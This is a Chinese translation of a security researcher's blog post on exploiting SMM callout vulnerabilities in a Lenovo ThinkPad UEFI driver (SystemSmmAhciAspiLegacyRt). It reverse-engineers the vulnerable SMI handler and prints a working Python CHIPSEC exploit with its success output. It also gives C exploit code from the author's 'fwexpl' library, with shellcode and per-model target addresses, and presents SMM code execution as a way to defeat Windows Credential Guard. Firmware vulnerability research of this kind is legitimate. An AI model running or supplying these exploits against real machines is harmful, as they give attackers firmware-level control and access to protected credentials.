翻译 · 2021年3月2日 0

Lenovo固件中的SMM callout漏洞利用

翻译原文:http://blog.cr4.sh/2016/02/exploiting-smm-callout-vulnerabilities.html

SMI handlers 逆向分析

此类漏洞的攻击模型非常简单:系统管理中断(SW SMI)handlers代码是平台固件的一部分,该平台固件在系统管理模式RAM(SMRAM)中运行——SMRAM为物理内存的隔离区域,无法从任何操作系统代码进行访问。固件可以使用0到255的数字注册多个SW SMI handlers(通常,在实际的计算机中最多几十个)。如果handlers代码尝试访问或执行任何可能被攻击者修改地非SMRAM内存,则操作系统可以通过将handler编号写入APMC I/O端口B2h来触发SW SMI —— 这就导致了SMM代码的任意执行(ring0 到 SMM的提权)。

关于Lenovo T450s,它虽然具有我们所寻找的漏洞,但其他的都不太好搞定:

  • 这是一个相对较新的TinkPad模型:没有明显的漏洞(no lame)或众所周知的BIOS漏洞(如未锁定的BIOS_CNTL,SMRAM缓存漏洞等)。而且Lenovo绝对不是最lame的平台安全供应商(实际上它的固件要比Apple的更好)。
  • T450s不存在UEFI boot script table漏洞 —— 它的固件使用SMM lockbox来保护boot script table的内容,以防止来自操作系统的未授权修改。这意味着我们不能利用DMA攻击来获取SMRAM dump。
  • 该模型还使用了Intel BootGuard技术来保护固件Image免受未经授权的修改。即使拥有物理访问权限和编程器的攻击者将受感染的固件直接主板上的SPI闪存芯片中该固件也不会被硬件接受 —— 因为在启用BootGuard的平台上,CPU在执行reset向量之前会以silicon(microcode?)的级别验证固件数字签名。这意味着我们无法使用UEFI SMM后门访问SMM内存,受感染的系统将无法启动。

因此,没有SMRAM dump,就没有任何简单的方法来获取SMI handlers列表,最好的办法就是获取T450s的固件Image(我使用了CHIPSEC框架中的chipsec_util.py在操作系统中完成Image dump),然后将其解析为固件文件系统(FFS)来提取SMM驱动程序,并手动进行逆向分析,以确定它们在平台初始化期间注册了哪些SW SMI handlers。我的T450s为1.11版本(JBET46WW)的过时固件,下面将提供此固件所有的二进制信息。

在使用chipsec_util.py dump闪存时,我发现它可以在许多其他功能中从命令行生成SW SMI,因此,我不抱着太大希望地输入了以下命令来触发所有可能的SW SMI handlers(从0到255):# for i in {0..255}; do python chipsec_util.py smi 0 $i 0; done

当编号为3的SW SMI触发后不久,测试机完全挂起了——这意味这Lenovo SMI handlers的代码质量实际上比我预想的还要差。显然,即使是最简单的SMI fuzzing也未进行过测试,这样的错误会出现在生产代码中只有一个原因 —— 编号为3的SW SMI已被某些legacy UEFI SMM驱动程序注册,且从未被平台固件或操作系统的任何组件所使用(至少在runtime阶段如此)。

image-20230809162859686

但是,除了SW SMI handlers编号之外,我们不知道该漏洞的其他具体细节。因此,要找到有漏洞的SMM驱动程序就需要对UEFI固件中的SMM驱动程序进行手动逆向分析。

Platform Initialization Specification的第4章“System Management Mode Core Interface”中有说明:SMM驱动程序使用EFI_SMM_SW_DISPATCH_PROTOCOLRegister()函数来注册SW SMI handlers,下面是开源项目EFI Development Kit的头文件中关于该协议的定义:

//
// Global ID for the SW SMI Protocol
//
#define EFI_SMM_SW_DISPATCH_PROTOCOL_GUID \
{ \
  0xe541b773, 0xdd11, 0x420c, {0xb0, 0x26, 0xdf, 0x99, 0x36, 0x53, 0xf8, 0xbf } \
}

//
// Related Definitions
//
// A particular chipset may not support all possible software SMI input values.
// For example, the ICH supports only values 00h to 0FFh. The parent only allows a single
// child registration for each SwSmiInputValue.
//
typedef struct {
UINTN SwSmiInputValue;
} EFI_SMM_SW_DISPATCH_CONTEXT;

//
// Member functions
//
/*
Dispatch function for a Software SMI handler.

@param DispatchHandle       The handle of this dispatch function.
@param DispatchContext       The pointer to the dispatch function's context.
                              The SwSmiInputValue field is filled in
                              by the software dispatch driver prior to
                              invoking this dispatch function.
                              The dispatch function will only be called
                              for input values for which it is registered.
@return None
*/
typedef
VOID
(EFIAPI *EFI_SMM_SW_DISPATCH)(
IN EFI_HANDLE                   DispatchHandle,
IN EFI_SMM_SW_DISPATCH_CONTEXT   *DispatchContext
);

/*
Register a child SMI source dispatch function with a parent SMM driver.

@param This                 The pointer to the EFI_SMM_SW_DISPATCH_PROTOCOL instance.
@param DispatchFunction     The function to install.
@param DispatchContext       The pointer to the dispatch function's context.
                              Indicates to the register
                              function the Software SMI input value for which
                              to invoke the dispatch function.
@param DispatchHandle       The handle generated by the dispatcher to track
                              the function instance.

@retval EFI_SUCCESS           The dispatch function has been successfully
                              registered and the SMI source has been enabled.
@retval EFI_DEVICE_ERROR     The SW driver could not enable the SMI source.
@retval EFI_OUT_OF_RESOURCES Not enough memory (system or SMM) to manage this
                              child.
@retval EFI_INVALID_PARAMETER DispatchContext is invalid. The SW SMI input value
                              is not within valid range.
*/
typedef
EFI_STATUS
(EFIAPI *EFI_SMM_SW_REGISTER)(
IN EFI_SMM_SW_DISPATCH_PROTOCOL         *This,
IN EFI_SMM_SW_DISPATCH                   DispatchFunction,
IN EFI_SMM_SW_DISPATCH_CONTEXT           *DispatchContext,
OUT EFI_HANDLE                           *DispatchHandle
);

//
// Interface structure for the SMM Software SMI Dispatch Protocol
//
struct _EFI_SMM_SW_DISPATCH_PROTOCOL {
//
// Installs a child service to be dispatched by this protocol.
//
EFI_SMM_SW_REGISTER   Register;

//
// Removes a child service dispatched by this protocol.
//
EFI_SMM_SW_UNREGISTER UnRegister;

//
// A read-only field that describes the maximum value that can be used
// in the EFI_SMM_SW_DISPATCH_PROTOCOL.Register() service.
//
UINTN                 MaximumSwiValue;
};

使用UEFITool查找实现该协议的UEFI驱动程序,根据协议的GUID进行搜索:

image-20230809162922858

在T450s的固件中根据EFI_SMM_SW_DISPATCH_PROTOCOL的GUID找到了近20种不同的UEFI驱动程序,就所需要的分析的资源而言,它并不多——在我其他的测试机上,SMI handlers代码非常简单且对逆向分析十分友好。

经过几个小时的分析,我终于找到了导致SW SMI handler 3崩溃的UEFI驱动程序。该驱动程序的FFS GUID是124A2E7A-1949-483E-899F-6032904CA0A7,它的image上还有name string:SystemSmmAhciAspiLegacyRt(在module/function/whatever中使用了“legacy”一词的image中通常能够在内部找到一些有趣的东西):

image-20230809162946080

SystemSmmAhciAspiLegacyRt驱动在入口点获取EFI_SMM_BASE_PROTOCOLEFI_SMM_SW_DISPATCH_PROTOCOLEFI_SMM_CPU_PROTOCOL和其他DXE和SMM阶段需要的协议。然后它调用EFI_SMM_SW_DISPATCH_PROTOCOLRegister()函数来将sub_3DC()函数注册为SW SMI handler。v5变量作为Register()调用的参数,该变量指向SwSmiInputValue字段值为-1(0xffffffff)的EFI_SMM_SW_DISPATCH_CONTEXT结构体——根据UEFI SMM规范,这意味着在handlers注册期间,固件必须自动选择0到255之间的可用handlers编号(一般为最低的),然后将该编号返回给调用函数。

EFI_STATUS __stdcall EntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
   __int64 v2; // r9@0
   int v3; // rax@2
   __int64 v5; // [sp+20h] [bp-28h]@7
   EFI_SMM_SW_DISPATCH_PROTOCOL *gEfiSmmSwDispatchProtocol; // [sp+28h] [bp-20h]@2
   __int64 v7; // [sp+30h] [bp-18h]@7
   BOOLEAN InSmm; // [sp+60h] [bp+18h]@1
   int (__fastcall **v9)(_QWORD, _QWORD); // [sp+68h] [bp+20h]@3

   // initialise global variables, locate protocols, etc.
   sub_9E0(ImageHandle, SystemTable, &InSmm, v2);

   if (!InSmm ||
      (v3 = gBS->LocateProtocol(
           &gEfiSmmSwDispatchProtocolGuid,
           0i64,
           &gEfiSmmSwDispatchProtocol), v3 >= 0) &&

       gEfiSmmBaseProtocol->GetSmstLocation(
           gEfiSmmBaseProtocol,
           &gSmst),

       v3 = gBS->LocateProtocol(
           &gPhoenixEfiSmmSwSmiProtocolGuid,
           0i64,
           &v9), v3 >= 0) && (v3 = sub_3A0(), v3 >= 0) &&

      (v3 = gBS->LocateProtocol(
           &gEfiSmmCpuProtocolGuid,
           0i64,
           &gEfiSmmCpuProtocol), v3 >= 0) &&

      (qword_250 = 0xFFFFFFFFi64, v3 = (*v9)(&dword_240, &qword_250), v3 >= 0) &&

       //
       // Register SMI handler, because SwSmiInputValue is -1 -- a unique
       // handler number will be assigned and returned by Register() function.
       //
      (v5 = 0xFFFFFFFFi64, v3 = gEfiSmmSwDispatchProtocol->Register(
           gEfiSmmSwDispatchProtocol,
           sub_3DC,
           &v5,
           &v7), v3 >= 0)
  {
       v3 = 0;
  }

   return v3;
}

在静态分析的过程中,我们无法确定SW SMI handler分配给sub_3DC()的编号,那么,为什么我认为该驱动程序导致了SW SMI handler 3崩溃呢?

答案很简单,看下面SMI handler代码中的第一个函数调用:

EFI_STATUS __fastcall sub_3DC(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)
{
   _QWORD *v4; // rbx@1
   __int64 v5; // rax@1
   unsigned __int16 v7; // [sp+30h] [bp-18h]@3
   int v8; // [sp+60h] [bp+18h]@5
   int v9; // [sp+68h] [bp+20h]@1

   v9 = 0;
   v4 = a2;

   //
   // Vulnerability is here:
   //
   //SMI handler代码通过EFI_BOOT_SERVICES结构体中的地址调用LocateProtocol()
   //该结构体在runtime阶段可供操作系统访问
   //攻击者可以使用shellcode地址覆盖LocateProtocol()地址,并执行SMM代码
   //
   v5 = gBS->LocateProtocol(&stru_270, 0i64, &qword_BC0);
   if (v5 >= 0)
  {
       gEfiSmmCpuProtocol->ReadSaveState(
           gEfiSmmCpuProtocol,
           2u,
           EFI_SMM_SAVE_STATE_REGISTER_ES,
           0,
           &v9
      );

       gEfiSmmCpuProtocol->ReadSaveState(
           gEfiSmmCpuProtocol,
           4u,
           EFI_SMM_SAVE_STATE_REGISTER_RBX,
           0,
           &v7
      );

       if (*v4 == 0xFFFFFFFFi64)
      {
           //
           // Another vulnerability is here:
           //
           // 攻击者可将带有可控制地址的结构体作为参数传递给sub_93C()函数
           // 该结构体允许覆盖SMRAM中任意内存地址
           //
           sub_93C(v7);
      }
  }
   else
  {
       qword_BC0 = 0i64;
  }

   gEfiSmmCpuProtocol->ReadSaveState(
       gEfiSmmCpuProtocol,
       4u,
       EFI_SMM_SAVE_STATE_REGISTER_RFLAGS,
       0,
       &v8
  );

   v8 &= 0xFFFFFFFA;

   return gEfiSmmCpuProtocol->WriteSaveState(
       gEfiSmmCpuProtocol,
       4u,
       EFI_SMM_SAVE_STATE_REGISTER_RFLAGS,
       0,
       &v8
  );
}

该代码调用EFI_BOOT_SERVICESLocateProtocol()函数来使用GUID2837C020-83F6-11DF-8395-0800200C9A66获取指向某些未知OEM独有的UEFI DXE协议的指针。当你在DXE阶段代码中看到这样的调用时,这可能是正常的,但是sub_3DC()函数实际上是在SMM阶段的SMI管理部分中运行的——这意味着,UEFI规范只允许sub_3DC()使用EFI_SMM_SYSTEM_TABLE函数和SMM协议,而不允许使用EFI_BOOT_SERVICES函数或DXE协议。

这样的代码会在由操作系统生成的具有正确编号的SW SMI上崩溃 —— UEFI boot loader通过调用ExitBootServices()将执行权限转移给操作系统内核时,将释放EFI_BOOT_SERVICES结构体和所有DXE协议。因此,当平台从DXE阶段切换到runtime阶段时,攻击者可以覆盖EFI_BOOT_SERVICES结构体(其地址存储在有漏洞的SMM驱动程序的gBS全局变量中),以执行任意的SMM阶段代码,而不是原始的LocateProtocol()调用。

如下所示,sub_3DC()使用EFI_SMM_CPU_PROTOCOLReadSavedState()函数来读取操作系统控制的RBX值,并将其作为结构体指针传递给另一个函数sub_93C()

int __fastcall sub_93C(void *a1)
{
   //
   // 从SystemSmmAhciAspiLegacyRt UEFI SMM驱动的SMI handler中调用此函数。
   // 参数a1是指向某些结构体的指针,该指针可以被攻击者控制。
   // 因为sub_3DC()从操作系统的RBX寄存器中读取此值,该值在SMI调度期间已保存。
   //
   int result; // eax@1
   __int64 v2; // rdx@1

   //
   // 攻击者可以使用此代码覆盖SMRAM中在操作系统无法访问的任意内存地址
   //
   *((_BYTE *)a1 + 1) = 0;
   result = sub_5D8();

   if (*(_BYTE *)(v2 + 2) >= 6u)
  {
       *(_BYTE *)(v2 + 1) = -127;
       return result;
  }

   if (*(_BYTE *)v2 >= 9u)
  {
       goto LABEL_4;
  }

   //
   // 在下面被调用的所有函数也都可以接受攻击者可控的指针作为第一个参数
   // 它们的代码也可以用于覆盖SMRAM中任意物理内存
   //
   //
   if (*(_BYTE *)v2)
  {    
       switch (*(_BYTE *)v2)
      {
       case 1:

           result = sub_674(v2);
           break;

       case 2:

           result = sub_778(v2);
           break;

       case 4:

           result = sub_818(v2);
           break;

       case 6:

           result = sub_874(v2);
           break;

       case 7:

           result = sub_6D8(v2);
           break;

       default:

           if (*(_BYTE *)v2 != 8)
          {
LABEL_4:
               *(_BYTE *)(v2 + 1) = -128;
               return result;
          }

           result = sub_8D8(v2);
           break;
      }
  }
   else
  {
       result = sub_614(v2);
  }

   return result;
}

该漏洞也可以用于在SMM中执行任意代码。

我检查过的ThinkPad型号(X220,X230等)中都存在有漏洞的SystemSmmAhciAspiLegacyRtUEFI SMM驱动程序,这可能与联想生产的不同型号系列的产品有关。至于我的T450s,此驱动程序中的两个漏洞已在1.20版(JBET55WW)的最新固件中修复。即使该驱动程序的新版本仍值得关注,但我们所讨论的sub_93C()实际上已经实现了SMM与操作系统之间的通信通道。

在ThinkPad笔记本上,这些漏洞不允许攻击者感染SPI闪存中存储的平台固件:

  • SPI闪存的某些区域受SPI保护区域(PRx)机制的保护
  • 如前所述,新的TinkPad型号使用了Intel BootGuard。即使攻击者能够绕过PRx并修改固件image,但数字签名已损坏,CPU仍不会执行它的复位向量。

然而,即使有这样的限制,从实用的角度来看,从ring0到SMM的提权仍然很有趣,它们的应用用例将在本文后面解释。

SystemSmmAhciAspiLegacyRt SMI handler漏洞利用

我决定使用sub_3DC()内部的LocateProtocol()调用来利用发现的漏洞。

Haswell微体系结构开始,Intel CPU就提供了MSR_SMM_FEATURE_CONTROL模块特定的寄存器的SMM_Code_Chk_En控制位。”Volume 3C:System Programming Guide, Part 3“中描述说:

仅当MSR_SMM_MCA_CAP[58] == 1时,此控制位才可用。当设置为“0”(默认值)时,不会阻止任何逻辑处理器执行SMRR所定义范围之外的SMM代码。当设置为”1“时,程序中任何试图执行不在SMRR所定义范围内的SMM代码的逻辑处理器都将被声明为不可恢复的MCE。

T450s的固件没有使用该功能,因此非常适合进行漏洞利用:无需关心shellcode的位置,SMRAM之外的任何物理内存页都是可执行的。

利用步骤如下:

  1. 确定DXE阶段固件代码使用的EFI_BOOT_SERVICES结构体地址。通常,在同一计算机型号上运行的同一版本的固件,此地址在平台引导期间不会改变。
  2. 分配连续的物理内存块,然后将SMM shellcode复制进去。
  3. EFI_BOOT_SERVICES + 0x140的地址存储8个字节的shellcode物理地址,其中0x140是LocateProtocol字段的偏移量。Shellcode必须在RAX寄存器中返回-1(0xffffffffffffffff),来绕过sub_3DC()中可能会导致平台崩溃的某些函数调用。
  4. 将 3 写入APMC I/P端口B2h来触发必要的SW SMI,之后sub_3DC()将立即执行shellcode。
  5. 执行还原:在EFI_BOOT_SERVICES + 0x140等处还原原始内存内容。

在特定目标机中查找EFI_BOOT_SERVICES地址最简单的方法就是——禁用安全启动(如有必要),然后引导到UEFI Shell并运行不带参数的mem命令:

Memory Address 00000000AB580F18 200 Bytes
AB580F18: 49 42 49 20 53 59 53 54-1F 00 02 00 78 00 00 00 *IBI SYST....x...*
AB580F28: 19 EA 64 44 00 00 00 00-18 30 B6 AA 00 00 00 00 *..dD.....0......*
AB580F38: 10 11 00 00 00 00 00 00-98 8A A3 A4 00 00 00 00 *................*
AB580F48: 70 22 32 AA 00 00 00 00-18 37 82 A3 00 00 00 00 *p"2......7......*
...

Valid EFI Header at Address 00000000AB580F18
---------------------------------------------
System: Table Structure size 00000078 revision 0002001F
ConIn (00000000AA322270) ConOut (00000000A5155618) StdErr (00000000AA322670)
Runtime Services 00000000AB580E18
Boot Services   00000000A11A6610
SAL System Table 0000000000000000
ACPI Table       00000000ACDFE000
ACPI 2.0 Table   00000000ACDFE014
MPS Table       0000000000000000
SMBIOS Table     00000000ACBFE000

在获得了所需要的的信息后,就可以开始为该漏洞编写PoC了。和之前一样,我将使用python的CHIPSEC库作为硬件抽象API,该脚本可以在Windows和Linux上使用:

import sys, os, struct
from hexdump import hexdump

# shellcode call counter address
CNT_ADDR = 0x00001010

# SMM shellcode
SC = ''.join([ '\x48\xC7\xC0\x10\x10\x00\x00', # mov rax, CNT_ADDR
              '\xFE\x00',                     # inc byte ptr [rax]
              '\x48\x31\xC0',                 # xor rax, rax
              '\x48\xFF\xC8',                 # dec rax
              '\xC3',                         # ret
              '\x00'                          # db   0 ; call counter value
            ])

# shellcode address and size
SC_ADDR = 0x00001000
SC_SIZE = 0x10

assert len(SC) == SC_SIZE + 1

# Function address to overwrite:
# EFI_BOOT_SERVICES addr + LocateProtocol offset
FN_ADDR = 0xA11A6610 + 0x140

# SMI handler number
SMI_NUM = 3

class Chipsec(object):

   def __init__(self):

       import chipsec.chipset
       import chipsec.hal.physmem
       import chipsec.hal.interrupts

       # initialize CHIPSEC
       self.cs = chipsec.chipset.cs()
       self.cs.init(None, True)

       # 获取所需类的实例
       self.mem = chipsec.hal.physmem.Memory(self.cs)
       self.ints = chipsec.hal.interrupts.Interrupts(self.cs)

   # CHIPSEC没有用于quad words的物理内存的read/write方法
   def read_physical_mem_qword(self, addr):

       return struct.unpack('Q', self.mem.read_physical_mem(addr, 8))[0]

   def write_physical_mem_qword(self, addr, val):

       self.mem.write_physical_mem(addr, 8, struct.pack('Q', val))

def main():

   cnt = 0

   #initialize chipsec stuff
   cs = Chipsec()

   print 'Shellcode address is 0x%x, %d bytes length:' % (SC_ADDR, SC_SIZE)
   hexdump(SC)
   print

   # backup shellcode memory contents
   old_data = cs.mem.read_physical_mem(SC_ADDR, 0x1000)

   # write shellcode
   cs.mem.write_physical_mem(SC_ADDR, SC_SIZE, SC)
   cs.mem.write_physical_mem_byte(CNT_ADDR, 0)

   # read pointer value
   old_val = cs.read_physical_mem_qword(FN_ADDR)

   print 'Old value at 0x%x is 0x%x, overwriting with 0x%x' % \
        (FN_ADDR, old_val, SC_ADDR)

   # write pointer value
   cs.write_physical_mem_qword(FN_ADDR, SC_ADDR)

   # fire SMI
   cs.ints.send_SW_SMI(0, SMI_NUM, 0, 0, 0, 0, 0, 0, 0)

   # read shellcode call counter
   cnt = cs.mem.read_physical_mem_byte(CNT_ADDR)

   # check for successful exploitation
   print 'SUCCESS: SMM shellcode was executed' if cnt > 0 else \
         'FAILS: Unable to execute SMM shellcode'

   print 'Performing memory cleanup...'

   # restore overwritten memory
   cs.mem.write_physical_mem(SC_ADDR, len(old_data), old_data)
   cs.write_physical_mem_qword(FN_ADDR, old_val)

   return 0 if cnt > 0 else -1

if __name__ == '__main__':

   exit(main())

然后测试下该脚本:

# python lenovo_SystemSmmAhciAspiLegacyRt_expl.py

****** Chipsec Linux Kernel module is licensed under GPL 2.0

Shellcode address is 0x1000, 16 bytes length:
00000000: 48 C7 C0 10 10 00 00 FE 00 48 31 C0 48 FF C8 C3 H........H1.H...

Old value at 0xa11a6750 is 0x1000, overwriting with 0x1000
SUCCESS: SMM shellcode was executed
Performing memory cleanup...

至此,终于清楚地找到了导致SW SMI handler 3错误的漏洞驱动程序。这次我还决定为该漏洞编写更多的利用程序,在Windows平台上利用本地应用程序或驱动程序,而不是使用其他第三方依赖库(如CHIPSEC)。

Windows环境中的固件漏洞利用

在以前的文章中,我使用Python和CHIPSEC来编写利用脚本,对于验证PoC目的而言,它非常友好,但对于实际应用而言却并不方便。因此我决定开发自己的跨平台硬件抽象库,用C编写的程序来代替CHIPSEC。

另外,这次我选择Windows作为SMM驱动程序漏洞利用目标的原因有很多:

  • 预装有Windows的新PC可能会启用安全启动,导致任意执行SMM代码的漏洞还可以对存储安全启动配置的NVRAM区域进行任意r/w访问。
  • 微软的Windows 10企业版发布了一项名为 Credential Guard的新安全机制(默认情况下为禁用),即使攻击者能够在目标操作系统上获取所有权限(ring3 + ring0代码执行),它也可以保护存储在内存中的域凭据。

启用Credential Guard后,它会使用另一个新功能——Virtual Secure Mode (VSM),关于其工作原理可以查看Alex Ionescu的”Battle of SKM and IUM”(slides, video

VSM是受保护的虚拟机(也称secure world),可在Hyper-V虚拟机管理程序上独立于主机Windows 10系统及其内核运行。在启用了Credential Guard的Local Security Subsystem Service (LSASS)系统上,VSM拥有自己的隔离内核模式和用户模式,该部分负责将凭据保存在内存中,并在VSM中作为隔离用户模式进程运行:

image-20230809163016403

如你所见,Credential Guard可以防止mimikatz和类似的工具来转储用户凭据,但是,这仅是基于理想固件且没有SMM漏洞之类的安全问题的平台上。如英特尔研究人员在“Attacking Hypervisors via Firmware and Hardware”中所说的那样,在Hyper-V的根分区(如主机)中运行任意代码的攻击者可以使用APMC I/O端口B2h来触发SMI handler漏洞,该漏洞允许绕过由hypervisor提供支持的VSM隔离(实际上,SMM是IA-32最强大的执行模式,并且hypervisor也具有完全的物理内存空间访问权限)。

和Linux不同的是,在Windows操作系统上,没有任何可利用的机制允许从用户模式进程访问物理内存或I/O端口,对低级硬件的访问必须加载内核驱动程序。另外,64位Windows内核使用Digital Signature Enforcement (DSE)机制,要求所有的驱动程序代码必须有数字签名。

我的硬件访问runtime项目名为”fwexpl”。它由Windows内核驱动程序和使用Win32函数DeviceIoControl()与驱动程序进行通信的用户模式库组成。libfwexpl的顶级API与操作系统无关,之后我打算将该库移植到Linux和OSX。下面是它的C头文件,提供对物理内存、I/O端口、PCI配置空间的访问,和用于内存管理和SW SMI的多个函数:

// data width for uefi_expl_port_read/write and uefi_expl_pci_read/write
typedef enum _data_width { U8, U16, U32, U64 } data_width;

// PCI address from bus, device, function and offset for uefi_expl_pci_read/write
#define PCI_ADDR(_bus_, _dev_, _func_, _addr_) \
\
(unsigned int)(((_bus_) << 16) | ((_dev_) << 11) | ((_func_) << 8) | \
((_addr_) & 0xfc) | ((unsigned int)0x80000000))

// initialize kernel driver
bool uefi_expl_init(char *driver_path);

// unload kernel driver
void uefi_expl_uninit(void);

// check if kernel driver is initialized
bool uefi_expl_is_initialized(void);

// read physical memory at given address
bool uefi_expl_phys_mem_read(unsigned long long address, int size, unsigned char *buff);

// write physical memory at given address
bool uefi_expl_phys_mem_write(unsigned long long address, int size, unsigned char *buff);

// read value from I/O port
bool uefi_expl_port_read(unsigned short port, data_width size, unsigned long long *val);

// write value to I/O port
bool uefi_expl_port_write(unsigned short port, data_width size, unsigned long long val);

// read value from PCI config space of specified device
bool uefi_expl_pci_read(unsigned int address, data_width size, unsigned long long *val);

// write value to PCI config space of specified device
bool uefi_expl_pci_write(unsigned int address, data_width size, unsigned long long val);

// generate software SMI using APMC I/O port 0xB2
bool uefi_expl_smi_invoke(unsigned char code);

// allocate contiguous physical memory
bool uefi_expl_mem_alloc(int size, unsigned long long *addr, unsigned long long *phys_addr);

// free memory that was allocated with uefi_expl_mem_alloc()
bool uefi_expl_mem_free(unsigned long long addr);

// convert virtual address to physical memory address
bool uefi_expl_phys_addr(unsigned long long addr, unsigned long long *phys_addr);

// get model specific register value
bool uefi_expl_msr_get(unsigned int reg, unsigned long long *val);

// set model specific register value
bool uefi_expl_msr_set(unsigned int reg, unsigned long long val);

libfwxpl的C代码利用了SystemSmmAhciAspiLegacyRt UEFI驱动程序中的SMM callout漏洞:

typedef struct _UEFI_EXPL_TARGET
{
// Target address to overwrite (EFI_BOOT_SERVICES->LocateService field value)
// with shellcode address.
unsigned long long addr;

// Number of vulnerable SMI handler.
unsigned char smi_num;

// Target name and description.
const char *name;

} UEFI_EXPL_TARGET,
*PUEFI_EXPL_TARGET;

// list of model and firmware version specific constants for different targets
static UEFI_EXPL_TARGET g_targets[] =
{
{ 0xd12493b0, 0x01, "Lenovo ThinkPad X230 firmware 2.61" },
{ 0xa11a6750, 0x03, "Lenovo ThinkPad T450s firmware 1.11" }
};

// g_shellcode中handler和上下文值的偏移
#define SHELLCODE_OFFS_HANDLER 33
#define SHELLCODE_OFFS_CONTEXT 23

// shellcode entry that executes smm_handler()
static unsigned char g_shellcode[] =
{
/*
Save registers
*/
0x53 /* push rbx */, 0x51 /* push rcx */, 0x52 /* push rdx */,
0x56 /* push rsi */, 0x57 /* push rdi */,
0x41, 0x50 /* push r8 */, 0x41, 0x51 /* push r9 */, 0x41, 0x52 /* push r10 */,
0x41, 0x53 /* push r11 */, 0x41, 0x54 /* push r12 */, 0x41, 0x55 /* push r13 */,
0x41, 0x56 /* push r14 */, 0x41, 0x57 /* push r15 */,

/*
Call smm_handler() function.
*/
0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, context
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, handler
0x48, 0x83, 0xec, 0x20, // sub rsp, 0x20
0xff, 0xd0, // call rax
0x48, 0x83, 0xc4, 0x20, // add rsp, 0x20

/*
Restore registers.
*/
0x41, 0x5f /* pop r15 */, 0x41, 0x5e /* pop r14 */, 0x41, 0x5d /* pop r13 */,
0x41, 0x5c /* pop r12 */, 0x41, 0x5b /* pop r11 */, 0x41, 0x5a /* pop r10 */,
0x41, 0x59 /* pop r9 */, 0x41, 0x58 /* pop r8 */,
0x5f /* pop rdi */, 0x5e /* pop rsi */, 0x5a /* pop rdx */,
0x59 /* pop rcx */, 0x5b /* pop rbx */,

/*
Shellcode必须返回-1,以绕过sub_3DC() SMI处理程序内部的其他函数调用,
防止SMM内部发生错误。
*/
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0xff, 0xc8, // dec rax
0xc3 // ret
};
//--------------------------------------------------------------------------------------
static void smm_handler(PUEFI_EXPL_SMM_SHELLCODE_CONTEXT context)
{
// tell to the caller that smm_handler() was executed
context->smi_count += 1;

if (context->user_handler)
{
UEFI_EXPL_SMM_HANDLER user_handler = (UEFI_EXPL_SMM_HANDLER)context->user_handler;

// call external handler
user_handler((void *)context->user_context);
}
}
//--------------------------------------------------------------------------------------
bool expl_lenovo_SystemSmmAhciAspiLegacyRt(
int target,
UEFI_EXPL_SMM_HANDLER handler, void *context)
{
bool ret = false;
UEFI_EXPL_TARGET *expl_target = NULL;
UEFI_EXPL_SMM_SHELLCODE_CONTEXT smm_context;

smm_context.smi_count = 0;
smm_context.user_handler = smm_context.user_context = 0;

if (target < 0 || target >= sizeof(g_targets) / sizeof(UEFI_EXPL_TARGET))
{
return false;
}

// get target model information
expl_target = &g_targets[target];

printf(__FUNCTION__"(): Using target \"%s\"\n", expl_target->name);

if (handler)
{
unsigned long long addr = (unsigned long long)handler;

// call caller specified handler from SMM
if (!uefi_expl_phys_addr(addr, &smm_context.user_handler))
{
return false;
}

smm_context.user_context = (unsigned long long)context;
}

unsigned long long handler_addr = (unsigned long long)&smm_handler, handler_phys_addr = 0;
unsigned long long context_addr = (unsigned long long)&smm_context, context_phys_addr = 0;

// get physical address of smm_handler()
if (!uefi_expl_phys_addr(handler_addr, &handler_phys_addr))
{
return false;
}

// get physical address of smm_context
if (!uefi_expl_phys_addr(context_addr, &context_phys_addr))
{
return false;
}

printf(__FUNCTION__"(): SMM payload handler address is 0x%llx with context at 0x%llx\n",
handler_phys_addr, context_phys_addr);

unsigned long long sc_addr = 0, sc_phys_addr = 0;

// allocate memory for shellcode
if (!uefi_expl_mem_alloc(PAGE_SIZE, &sc_addr, &sc_phys_addr))
{
return false;
}

unsigned char shellcode[sizeof(g_shellcode)];

memcpy(shellcode, g_shellcode, sizeof(g_shellcode));
*(unsigned long long *)&shellcode[SHELLCODE_OFFS_HANDLER] = handler_phys_addr;
*(unsigned long long *)&shellcode[SHELLCODE_OFFS_CONTEXT] = context_phys_addr;

printf(__FUNCTION__"(): Physical memory for shellcode allocated at 0x%llx\n", sc_phys_addr);

if (uefi_expl_phys_mem_write(sc_phys_addr, sizeof(shellcode), shellcode))
{
unsigned long long ptr_val = 0;

// read original pointer value
if (uefi_expl_phys_mem_read(
expl_target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val))
{
printf(__FUNCTION__"(): Old pointer 0x%llx value is 0x%llx\n",
expl_target->addr, ptr_val);

// overwrite pointer value
if (uefi_expl_phys_mem_write(
expl_target->addr, sizeof(sc_phys_addr), (unsigned char *)&sc_phys_addr))
{
printf(__FUNCTION__"(): Generating SMI %d...\n", expl_target->smi_num);

uefi_expl_smi_invoke(expl_target->smi_num);

if (smm_context.smi_count > 0)
{
ret = true;
}

printf(__FUNCTION__"(): %s\n", ret ? "SUCCESS" : "FAILS");

// restore overwritten value
uefi_expl_phys_mem_write(
expl_target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val);
}
}
}

// free memory
uefi_expl_mem_free(sc_addr);

return ret;
}

该脚本允许选择特定的目标来进行攻击。如上所示,你可以找到目标EFI_BOOT_SERVICES的地址,并将新条目添加到g_targets[]数组中。

我编写了一个能够在命令行运行的程序fwexpl_app,它允许执行一些基本的SMM payload,如物理内存读写。下面是它的命令行参数选项:

  • --target <N> —— 选择特定目标,其中<N>是g_targets[]的数组索引
  • --target-list —— 输出可用的目标信息
  • --phys-mem-read <addr> —— 从指定地址开始读取物理内存
  • --whys-mem-write <addr> —— 从指定地址开始写入物理内存
  • --length <bytes> —— 为--phys-mem-read--whys-mem-write读取/写入的字节数
  • --file <path> —— 读取或写入的内存dump路径,在--phys-mem-read的情况下,此参数是可选的,如未指定,程序会将读取的物理内存的十六进制值输出到stdout。
  • --exec <addr> —— 在指定的物理内存地址执行SMM代码

使用fwexpl_app在ThinkPad T450s上转储SMRAM的TSEG区域:

image-20230809163032691

该程序需要加载自己的未签名内核驱动程序,因此必须在禁用DSE后重启Windows。

DSE绕过和提权0day

